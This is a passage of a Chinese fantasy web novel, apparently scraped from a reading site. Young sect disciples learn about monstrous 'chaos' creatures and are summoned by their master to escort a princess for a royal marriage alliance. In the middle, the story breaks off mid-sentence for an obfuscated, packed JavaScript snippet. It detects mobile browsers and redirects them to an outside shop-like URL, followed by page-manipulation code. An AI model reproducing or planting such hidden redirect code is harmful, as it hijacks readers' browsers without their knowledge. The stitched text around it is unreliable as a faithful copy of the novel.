混沌……那些全身漆黑,有着猩红双眼的怪物。她坦然吐露,“还是有些怕的,但是我现在也不弱。”
看着她倔强又固执的模样,慈因不自觉露出欣慰的笑。他喜欢揉南喻的发顶,这次却没有揉,而是将手轻轻放在她发顶,语重心长的说:“混沌分两种,百叶山所见的人面蛛混沌是‘有形混沌’,又称普通混沌。”
南喻认真听他说,不敢有一丝漏听。
“另外一种名叫‘无形混沌’,这类混沌分两种,一种天灾混沌,另外一种就是神级混沌。这些混沌比那些普通混沌强上百倍,远非常人能对付的。”
南喻听的心里已经打起了退堂鼓,这么复杂。她以为人面蛛混沌已经很厉害了,原来是个小喽啰。
“天灾混沌一共有五只,分别是山崩混沌,瘟疫混沌,饥荒混沌,水旱混沌以及战乱混沌。这五只都是赏金数十万的大混沌,即便是成功出师的弟子也不一定是它们的对手。”
因为是无形混沌,拥有变化万千的本领,且行踪复杂,就连万世宗门也难以追踪。
无数弟子葬身于这些混沌之口。
如今,这些混沌的力量越来越强大,引得万世宗门频频讨伐。
别更提另一种更神秘莫测的混沌,那是洪荒诞生时就与神族一同出现的九只神级混沌。二十多年前,魔君幽冥伽罗只是得到了其中一只,便妄图覆灭洪荒。
最终在五族联手的情况下,才勉强消灭两只神级混沌。
剩余七只躲藏在洪荒的各个角落,如今依旧有着不容小觑的实力。
“南喻,你记住如果遇到天灾与神级混沌,要不顾一切的跑。”他认真说到,眼神坚定不容置疑。真遇到这种级别的混沌,除非是天问宗的那位,不然绝无生路。
“可……我怎么才能认出哪些是天灾,哪些是神级。”好奇心重的南喻继续问,她心里已经有些发毛了。原来自己所见识到的不过是冰山一角。躁动又惧怕两种情绪交织在她心口。
殊不知眼前的慈因满心担忧。
两个想法相悖的人,一脸严肃的讨论怎么对付混沌。
慈因:遇见混沌就躲,惜命要紧。
南喻:仰头拔刀就是上,赚赏金。
“除了猩红双眼外和通体漆黑外。”他忽然指着自己的脸,“它们的脸上都有着独一无二的花纹。”
“每只混沌的花纹都是独一无二的。虽说无形混沌可以千变万化,但是它们也有无法抹去的特征。例如饥荒混沌形似骸骨,水旱混沌如影随形。”
两人叽叽喳喳聊的御节头疼,什么混沌不混沌,遇见就跑。
一行人靠着树,面前瀑布水花飞泻,带着凉意的水汽扑面而来。南喻觉得身上的汗已经发凉,衣服有些黏腻。
众人在清潭边乘凉片刻,演武场那边的弟子陆陆续续的来到这里,看样子大多是受不那里的暑气。静下心后,见避暑气的弟子越来越多,几人起身准备离开。
“慈因,诸位请等一等。”
一个身材瘦小,穿着青袍的女弟子突然冒出,女弟子梳着双垂髻,发尾挽着银铃。走起路来一步一响,引人注目。她背着剑,穿着一身便衣,像是刚从山下回来。
那圆润的脸庞上稚气未退,说是十一二岁的少女也不为过。
“这是小孩子?”御节张了张嘴。
看起来连及笄的岁数都没到,饶是见多识广的纪灵也没见过如此年幼的弟子。盘腿坐在地上的南喻目光在那女弟子身上游走,这名女弟子看上去只有一米五左右,背上那把剑更衬的她较娇小瘦弱。
与她的容貌身形完全不符的是,那张稚嫩脸庞上撒发的强大气场。
即便她有张少女的脸,但那冷寂的神情让人不敢忽视她的存在。
“她到底是谁?”御节歪头问了问。
南喻这才慢悠悠起身,摇了摇头。慈因抬起的脚步放下,见那女子唤他的名字,他行礼弓腰道:“许久不见,菱鼬。”
菱鼬扫了一眼他身边的女弟子。
这就是南长老的女儿,难怪慈因喜欢。
“菱鼬是谁?”离光简点了点御节的肩膀,御节被他问烦了,翻了个白眼。
“不知道!”
菱鼬面色冰冷,简言意骇道:“玄山子掌门与鸿福老师父请诸位弟子前往简心阁。”
玄山子掌门……
南喻眼前一亮,终于要见到太宁派的掌门玄山子了。这位同时也是慈因的养父兼师父,对慈因恩重如山,慈因对他也可谓是及其尊崇。
当然那是前期没黑化的时候。
后期黑化了,直接杀红了眼把师父杀了,把她抛弃了。想想就觉得惊世骇俗,那样温润如玉的人黑化后会如此决绝残忍。
被菱鼬点到名的七八个弟子起身跟在她身后,朝着简心阁奔去。
这其中自然包括她们几人。
南喻夹杂在人群中,她余光一撇,尽是些眼熟的面孔。善妙,纶音,百里明利,御节,纪灵,慈因还有她。
一共七人。
简心阁与古越阁布局大差不差,里面坐落的家具更加古朴。南喻跟在众人身后,她注意到廊边围栏已经斑驳许久,看上去有些年头。
简心阁的正门上挂着一块黑木匾额,用漆金提了“独守本心”四个大字。
笔锋凌厉,刚正不阿,颇有一股气吞山海之势。想必提字之人定然是雷厉风行,不容置疑。
可惜,南喻看不懂写的是什么,只是单纯觉得这字写得好。身后的御节勉强掀眼皮撇了一眼,鼠……鼠守本心?
“老鼠也要有良心?”
这写的什么,乱七八糟的。
读过书但显然没认真读,纪灵冷汗直流,好心解释:“是独守本心,意思是要坚守自己的良心,不要随波逐流。”
一行弟子七七八八进入阁内,头发花白的鸿福老师父已经在阁上静候许久。
众弟子见了他也不敢再出声,只因鸿福是他们平日学堂的师父,教导过众多弟子。
鸿福已近年近八十,看着憨态可掬,却是个十足的古板老头。不等弟子们开口,屏风后传来一阵噼里啪啦的动静。
引得他们转头望去。
只见屏风后,一个虚胖的身影喘着气大步走出。
火急火燎的样子全无仙家端庄洒脱之仪态。
窥见玄山子的模样后,南喻心头不由失落,本以为能将慈因善妙二人教养的如此出众,那此人定然是雅致利落,井然有序之人。
可玄山子和她想象中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534426|203609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的区别太大,想象中仙风道骨的一派掌门,却是个丰腰阔腹,大汗频频的花白小老头。
玄山子个头稍矮,甚至有些跛脚。他拄着拐杖,想要极力稳住步伐,可奈何身型臃肿,走起路来摇摇晃晃,十分滑稽。
引得阁中弟子窃窃私语。
慈因与善妙三五步便来到他身边,想要扶住他,都被玄山子一一拒绝了。
良久,坐在阁上的玄山子才道明缘由。
“诸位弟子等了许久,都累了。”他抬手间,屏风后的蒲团便漂浮而出,落在南喻等人的跟前。他语气不紧不慢,道:“大家坐下听吧。”
一旁的鸿福老师父见状,不悦的皱起眉头。低声提醒:“掌门,这不妥。岂有弟子坐着听训话的道理?”
玄山子摆摆手,表示不打紧。“孩子们整日苦于修炼,已是精疲力尽,今儿来简心阁歇一歇又何妨。况且并非训话,而是嘱托。那便更要让他们坐下安心听。”
这番话一出,众弟子纷纷噤声。
就连南喻也在转瞬之间对他改观。
她好像突然明白,为何慈因会那般谦卑有礼,温润如玉了。她在心里给了自己一巴掌,惩罚自己以貌取人。
真是罪过,心中竟然起了耻笑之意。
真是罪该万死。
玄山子的声音温和有力。“今日劳烦各位弟子前来,是为了一件重要之事。”
他从袖口取出一件卷轴。
“万世宗门受嬴氏王族与胤部所托,护送胤部公主入大瀛和亲,结交两国之好。”
大瀛朝……南喻脑子飞快转动,算了算,是历史上那个三千年前的大瀛朝吗?
早知道好好学习了,她在心里捂嘴痛哭。
“瀛王欲率家臣在王都亲自迎接胤部公主,天问宗已经接下委托,派遣了一名弟子前去护卫瀛王。而护送胤部公主的任务落在了我们太宁派的头上。”鸿福老师父的嗓音凌厉,“那些出过师的弟子已经出发,掌门又挑了一些出众的弟子,让你们一同跟去历练。”
“事关两国结亲,不得马虎。”玄山子开口嘱咐道:“如今人世战火连连,大瀛朝欲行一统天下之事,胤部愿与大瀛结亲,休止战火,对百姓自然是极好的。胤部公主的安危极其重要,万万不可出差错。”
御节大着胆子问:“掌门,既然是王族和亲,为什么要请仙门出手啊?仙门不是一向不插手人世之事吗?”
“之所以请万世宗门出手,是因为胤部偏远,就在北部一带,那里遍布混沌。公主想要和亲,先要安全走出自家土地。”玄山子笑了出声,道:“瀛氏只顾着打仗,但对付混沌是咱们的看家本领。”
原来如此。
“人间战火连连,与大瀛开战的诸国已经有些吃不消。胤部在这个时候主动讨好联姻,已经是诸国的眼中钉了。所以,你们要对付的恐怕不止混沌,还有诸国的死侍刺客等。”
玄山子语重心长道:“诸位尚且年幼,一切尽力就好,以自身安危为重,若是事情搞砸了,则由万世宗门担着。”
闻言,鸿福大惊,“掌门…怎乐…”
“这不止是我的意思。”玄山子抬手制止他的话,道出真相,“这也是整个万世宗门,天问宗宗主以及御龙家家主的意思。”